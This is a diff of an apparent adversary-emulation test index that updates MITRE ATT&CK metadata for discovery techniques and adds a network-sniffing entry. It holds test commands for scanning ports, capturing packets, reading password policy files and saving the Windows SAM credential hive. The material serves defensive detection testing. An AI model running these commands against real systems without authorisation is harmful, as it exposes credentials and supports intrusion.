Exfiltration, based on the information obtained. x_mitre_permissions_required: - User - x_mitre_contributors: - - Mike Kemmerer - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - Windows + - macOS type: attack-pattern - id: attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7 + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1217 atomic_tests: - name: List Mozilla Firefox Bookmark Database Files on Linux @@ -10012,51 +10056,40 @@ discovery: ' T1083: technique: + id: attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: File and Directory Discovery description: "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within - a file system. \n\n===Windows===\n\nExample utilities used to obtain this - information are dir and tree. (Citation: Windows - Commands JPCERT) Custom tools may also be used to gather file and directory - information and interact with the Windows API.\n\n===Mac and Linux===\n\nIn - Mac and Linux, this kind of discovery is accomplished with the ls, - find, and locate commands.\n\nDetection: System - and network discovery techniques normally occur throughout an operation as - an adversary learns the environment. Data and events should not be viewed - in isolation, but as part of a chain of behavior that could lead to other - activities, such as Collection and Exfiltration, based on the information - obtained.\n\nMonitor processes and command-line arguments for actions that - could be taken to gather system and network information. Remote access tools - with built-in features may interact directly with the Windows API to gather - information. Information may also be acquired through Windows system management - tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: - Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line - parameters, Process monitoring\n\nPermissions Required: User, Administrator, - SYSTEM\n\nSystem Requirements: Some folders may require Administrator, SYSTEM - or specific user depending on permission levels and access controls" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery + a file system. \n\n### Windows\n\nExample utilities used to obtain this information + are dir and tree. (Citation: Windows Commands JPCERT) + Custom tools may also be used to gather file and directory information and + interact with the Windows API.\n\n### Mac and Linux\n\nIn Mac and Linux, this + kind of discovery is accomplished with the ls, find, + and locate commands." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1083 + - external_id: T1083 + url: https://attack.mitre.org/techniques/T1083 source_name: mitre-attack - external_id: T1083 - - description: Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. + - url: http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html + description: Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016. source_name: Windows Commands JPCERT - url: http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:04.710Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_version: '1.0' + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). x_mitre_platforms: - Linux - macOS - Windows - x_mitre_data_sources: - - File monitoring - - Process command-line parameters - - Process monitoring x_mitre_permissions_required: - User - Administrator @@ -10064,9 +10097,12 @@ discovery: x_mitre_system_requirements: - Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls - id: attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:04.710Z' identifier: T1083 atomic_tests: - name: File and Directory Discovery @@ -10136,47 +10172,44 @@ discovery: find . -type f -name ".*" T1046: technique: + id: attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Network Service Scanning - description: |- - Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. - - Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - - Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans. - - Platforms: Linux, macOS, Windows - - Data Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network - - Permissions Required: User, Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery + description: Adversaries may attempt to get a listing of services running on + remote hosts, including those that may be vulnerable to remote software exploitation. + Methods to acquire this information include port scans and vulnerability scans + using tools that are brought onto a system. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1046 + - external_id: T1046 + url: https://attack.mitre.org/techniques/T1046 source_name: mitre-attack - external_id: T1046 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:43.915Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Netflow/Enclave netflow - Network protocol analysis - Packet capture - Process command-line parameters - Process use of network + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + + Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans. x_mitre_permissions_required: - - User - Administrator - SYSTEM - id: attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88 - modified: '2018-04-18T17:59:24.739Z' + - User + x_mitre_platforms: + - Linux + - Windows + - macOS type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:43.915Z' identifier: T1046 atomic_tests: - name: Port Scan @@ -10221,63 +10254,56 @@ discovery: nc -nv #{host} #{port} T1135: technique: + id: attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Network Share Discovery description: "Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network. - \n\n===Windows===\n\nFile sharing over a Windows network occurs over the SMB + \n\n### Windows\n\nFile sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared - Folder)\n\nNet can be used to query a remote system for available shared drives - using the net view \\\\remotesystem command. It can also be used - to query shared drives on the local system using net share.\n\nAdversaries - may look for folders and drives shared on remote systems as a means of identifying - sources of information to gather as a precursor for Collection and to identify - potential systems of interest for Lateral Movement.\n\n===Mac===\n\nOn Mac, - locally mounted shares can be viewed with the df -aH command.\n\nDetection: - System and network discovery techniques normally occur throughout an operation - as an adversary learns the environment. Data and events should not be viewed - in isolation, but as part of a chain of behavior that could lead to other - activities, such as Lateral Movement, based on the information obtained.\n\nNormal, - benign system and network events related to legitimate remote system discovery - may be uncommon, depending on the environment and how they are used. Monitor - processes and command-line arguments for actions that could be taken to gather - system and network information. Remote access tools with built-in features - may interact directly with the Windows API to gather information. Information - may also be acquired through Windows system management tools such as Windows - Management Instrumentation and PowerShell.\n\nPlatforms: macOS, Windows\n\nData - Sources: Process Monitoring, Process command-line parameters, Network protocol - analysis, Process use of network\n\nPermissions Required: User" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery + Folder)\n\n[Net](https://attack.mitre.org/software/S0039) can be used to query + a remote system for available shared drives using the net view \\\\remotesystem + command. It can also be used to query shared drives on the local system using + net share.\n\nAdversaries may look for folders and drives shared + on remote systems as a means of identifying sources of information to gather + as a precursor for Collection and to identify potential systems of interest + for Lateral Movement.\n\n### Mac\n\nOn Mac, locally mounted shares can be + viewed with the df -aH command." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1135 + - external_id: T1135 + url: https://attack.mitre.org/techniques/T1135 source_name: mitre-attack - external_id: T1135 - - description: Wikipedia. (2017, April 15). Shared resource. Retrieved June + - url: https://en.wikipedia.org/wiki/Shared_resource + description: Wikipedia. (2017, April 15). Shared resource. Retrieved June 30, 2017. source_name: Wikipedia Shared Resource - url: https://en.wikipedia.org/wiki/Shared%20resource - - description: Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, + - url: https://technet.microsoft.com/library/cc770880.aspx + description: Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30, 2017. source_name: TechNet Shared Folder - url: https://technet.microsoft.com/library/cc770880.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - - Process Monitoring + - Process monitoring - Process command-line parameters - Network protocol analysis - Process use of network + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + + Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). + x_mitre_platforms: + - macOS + - Windows x_mitre_permissions_required: - User - id: attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1135 atomic_tests: - name: Network Share Discovery @@ -10330,67 +10356,184 @@ discovery: command: | net view \\#{computer_name} get-smbshare -Name #{computer_name} + T1040: + technique: + id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + name: Network Sniffing + description: |- + Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. + + Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. + + Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities. + external_references: + - external_id: T1040 + url: https://attack.mitre.org/techniques/T1040 + source_name: mitre-attack + - external_id: CAPEC-158 + url: https://capec.mitre.org/data/definitions/158.html + source_name: capec + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_data_sources: + - Network device logs + - Host network interface + - Netflow/Enclave netflow + - Process monitoring + x_mitre_detection: Detecting the events leading up to sniffing network traffic + may be the best method of detection. From the host level, an adversary would + likely need to perform a man-in-the-middle attack against other devices on + a wired network in order to capture traffic that was not to or from the current + compromised system. This change in the flow of information is detectable at + the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. + Detecting compromised network devices is a bit more challenging. Auditing + administrator logins, configuration changes, and device images is required + to detect malicious changes. + x_mitre_permissions_required: + - Administrator + - SYSTEM + x_mitre_platforms: + - Linux + - macOS + - Windows + x_mitre_system_requirements: + - Network interface access and packet capture driver + type: attack-pattern + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:41.399Z' + identifier: T1040 + atomic_tests: + - name: Packet Capture Linux + description: 'Perform a PCAP. Wireshark will be required for tshark. TCPdump + may already be installed. + +' + supported_platforms: + - linux + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: ens33 + executor: + name: bash + command: | + tcpdump -c 5 -nnni #{interface} + tshark -c 5 -i #{interface} + - name: Packet Capture MacOS + description: 'Perform a PCAP on MacOS. This will require Wireshark/tshark to + be installed. TCPdump may already be installed. + +' + supported_platforms: + - macos + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: en0A + executor: + name: bash + command: | + tcpdump -c 5 -nnni #{interface} + tshark -c 5 -i #{interface} + - name: Packet Capture Windows Command Prompt + description: | + Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark + installed, along with WinPCAP. Windump will require the windump executable. + supported_platforms: + - windows + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: Ethernet0 + executor: + name: command_prompt + command: | + c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 + c:\windump.exe + - name: Packet Capture PowerShell + description: | + Perform a packet capture using PowerShell with windump or tshark. This will require a host that has Wireshark/Tshark + installed, along with WinPCAP. Windump will require the windump executable. + supported_platforms: + - windows + input_arguments: + interface: + description: Specify interface to perform PCAP on. + type: String + default: Ethernet0 + executor: + name: powershell + command: | + c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5 + c:\windump.exe T1201: technique: + id: attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Password Policy Discovery description: |- - Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). + Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts). Password policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies) - ===Windows=== + ### Windows * net accounts * net accounts /domain - ===Linux=== + ### Linux * chage -l * cat /etc/pam.d/common-password - ===macOS=== + ### macOS * pwpolicy getaccountpolicies - - Detection: Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity. - - Platforms: Linux, Windows, macOS - - Data Sources: Process command-line parameters, Process Monitoring - - Permissions Required: User - - Contributors: Sudhanshu Chauhan, @Sudhanshu_C - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery external_references: - - url: https://attack.mitre.org/wiki/Technique/T1201 + - external_id: T1201 + url: https://attack.mitre.org/techniques/T1201 source_name: mitre-attack - external_id: T1201 - - description: Matutiae, M. (2014, August 6). How to display password policy + - url: https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu + description: Matutiae, M. (2014, August 6). How to display password policy information for a user (Ubuntu)?. Retrieved April 5, 2018. source_name: Superuser Linux Password Policies - url: https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu - - description: Holland, J. (2016, January 25). User password policies on non + - url: https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines + description: Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018. source_name: Jamf User Password Policies - url: https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS + x_mitre_version: '1.0' + x_mitre_contributors: + - Sudhanshu Chauhan, @Sudhanshu_C x_mitre_data_sources: - Process command-line parameters - - Process Monitoring + - Process monitoring + x_mitre_detection: Monitor processes for tools and command line arguments that + may indicate they're being used for password policy discovery. Correlate that + activity with other suspicious activity from the originating system to reduce + potential false positives from valid user or administrator activity. Adversaries + will likely attempt to find the password policy early in an operation and + the activity is likely to happen with other Discovery activity. x_mitre_permissions_required: - User - x_mitre_contributors: - - Sudhanshu Chauhan, @Sudhanshu_C - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows + - Linux + - macOS type: attack-pattern - id: attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5 + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1201 atomic_tests: - name: Examine password complexity policy - Ubuntu @@ -10442,50 +10585,47 @@ discovery: ' T1069: technique: + id: attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Permission Groups Discovery description: "Adversaries may attempt to find local system or domain-level groups - and permissions settings. \n\n===Windows===\n\nExamples of commands that can + and permissions settings. \n\n### Windows\n\nExamples of commands that can list groups are net group /domain and net localgroup - using the Net utility.\n\n===Mac===\n\nOn Mac, this same thing can be accomplished - with the dscacheutil -q group for the domain, or dscl . - -list /Groups for local groups.\n\n===Linux===\n\nOn Linux, local groups - can be enumerated with the groups command and domain groups via - the ldapsearch command.\n\nDetection: System and network discovery - techniques normally occur throughout an operation as an adversary learns the - environment. Data and events should not be viewed in isolation, but as part - of a chain of behavior that could lead to other activities, such as Lateral - Movement, based on the information obtained.\n\nMonitor processes and command-line - arguments for actions that could be taken to gather system and network information. - Remote access tools with built-in features may interact directly with the - Windows API to gather information. Information may also be acquired through - Windows system management tools such as Windows Management Instrumentation - and PowerShell.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: API monitoring, - Process command-line parameters, Process monitoring\n\nPermissions Required: - User" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery + using the [Net](https://attack.mitre.org/software/S0039) utility.\n\n### Mac\n\nOn + Mac, this same thing can be accomplished with the dscacheutil -q group + for the domain, or dscl . -list /Groups for local groups.\n\n### + Linux\n\nOn Linux, local groups can be enumerated with the groups + command and domain groups via the ldapsearch command." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1069 + - external_id: T1069 + url: https://attack.mitre.org/techniques/T1069 source_name: mitre-attack - external_id: T1069 + - external_id: CAPEC-576 + url: https://capec.mitre.org/data/definitions/576.html + source_name: capec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:55.471Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - API monitoring - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + + Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). x_mitre_permissions_required: - User - id: attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:55.471Z' identifier: T1069 atomic_tests: - name: Permission Groups Discovery @@ -10530,56 +10670,52 @@ discovery: get-ADPrinicipalGroupMembership #{user} | select name T1057: technique: + id: attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Process Discovery description: |- Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network. - ===Windows=== + ### Windows - An example command that would obtain details on processes is "tasklist" using the Tasklist utility. + An example command that would obtain details on processes is "tasklist" using the [Tasklist](https://attack.mitre.org/software/S0057) utility. - ===Mac and Linux=== + ### Mac and Linux In Mac and Linux, this is accomplished with the ps command. - - Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - - Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - - Platforms: Linux, macOS, Windows - - Data Sources: Process command-line parameters, Process monitoring - - Permissions Required: User, Administrator, SYSTEM - - System Requirements: Administrator, SYSTEM may provide better process ownership details - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery external_references: - - url: https://attack.mitre.org/wiki/Technique/T1057 + - external_id: T1057 + url: https://attack.mitre.org/techniques/T1057 source_name: mitre-attack - external_id: T1057 + - external_id: CAPEC-573 + url: https://capec.mitre.org/data/definitions/573.html + source_name: capec object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:48.728Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_version: '1.0' + x_mitre_data_sources: + - Process monitoring + - Process command-line parameters + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + + Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). x_mitre_platforms: - Linux - macOS - Windows - x_mitre_data_sources: - - Process command-line parameters - - Process monitoring x_mitre_permissions_required: - User - Administrator - SYSTEM x_mitre_system_requirements: - Administrator, SYSTEM may provide better process ownership details - id: attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:48.728Z' identifier: T1057 atomic_tests: - name: Process Discovery - ps @@ -10603,37 +10739,27 @@ discovery: ps aux >> #{output_file} T1012: technique: + id: attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Query Registry description: |- Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software. The Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network. - - Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. - - Interaction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. - - Platforms: Windows - - Data Sources: Windows Registry, Process monitoring, Process command-line parameters - - Permissions Required: User, Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery external_references: - - url: https://attack.mitre.org/wiki/Technique/T1012 + - external_id: T1012 + url: https://attack.mitre.org/techniques/T1012 source_name: mitre-attack - external_id: T1012 - - description: Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015. - source_name: Wikipedia Windows Registry - url: https://en.wikipedia.org/wiki/Windows%20Registry - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:25.584Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + - url: https://en.wikipedia.org/wiki/Windows_Registry + description: Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015. + source_name: Wikipedia Windows Registry + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + + Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). x_mitre_data_sources: - Windows Registry - Process monitoring @@ -10642,9 +10768,14 @@ discovery: - User - Administrator - SYSTEM - id: attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: discovery + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:25.584Z' identifier: T1012 atomic_tests: - name: Query Registry @@ -10690,59 +10821,51 @@ discovery: reg save HKLM\SAM sam.hive T1018: technique: + id: attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Remote System Discovery description: "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on - the operating system could also be used. \n\n===Windows===\n\nExamples of - tools and commands that acquire this information include \"ping\" or \"net - view\" using Net.\n\n===Mac===\n\nSpecific to Mac, the bonjour - protocol to discover additional Mac-based systems within the same broadcast - domain. Utilities such as \"ping\" and others can be used to gather information - about remote systems.\n\n===Linux===\n\nUtilities such as \"ping\" and others - can be used to gather information about remote systems.\n\nDetection: System - and network discovery techniques normally occur throughout an operation as - an adversary learns the environment. Data and events should not be viewed - in isolation, but as part of a chain of behavior that could lead to other - activities, such as Lateral Movement, based on the information obtained.\n\nNormal, - benign system and network events related to legitimate remote system discovery - may be uncommon, depending on the environment and how they are used. Monitor - processes and command-line arguments for actions that could be taken to gather - system and network information. Remote access tools with built-in features - may interact directly with the Windows API to gather information. Information - may also be acquired through Windows system management tools such as Windows - Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData - Sources: Network protocol analysis, Process command-line parameters, Process - monitoring, Process use of network\n\nPermissions Required: User, Administrator, - SYSTEM" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: discovery + the operating system could also be used. \n\n### Windows\n\nExamples of tools + and commands that acquire this information include \"ping\" or \"net view\" + using [Net](https://attack.mitre.org/software/S0039).\n\n### Mac\n\nSpecific + to Mac, the bonjour protocol to discover additional Mac-based + systems within the same broadcast domain. Utilities such as \"ping\" and others + can be used to gather information about remote systems.\n\n### Linux\n\nUtilities + such as \"ping\" and others can be used to gather information about remote + systems." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1018 + - external_id: T1018 + url: https://attack.mitre.org/techniques/T1018 source_name: mitre-attack - external_id: T1018 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:28.187Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Network protocol analysis - - Process command-line parameters - Process monitoring - Process use of network + - Process command-line parameters + x_mitre_detection: |- + System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. + + Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the 